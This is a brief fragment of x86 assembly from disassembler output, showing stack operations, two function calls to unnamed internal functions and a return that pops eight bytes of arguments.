mov ecx, dword [ebp - 0x30]
push eax
push ecx
call fcn.00425736
pop ecx
pop ecx
mov al, bl
call fcn.00425797
ret 8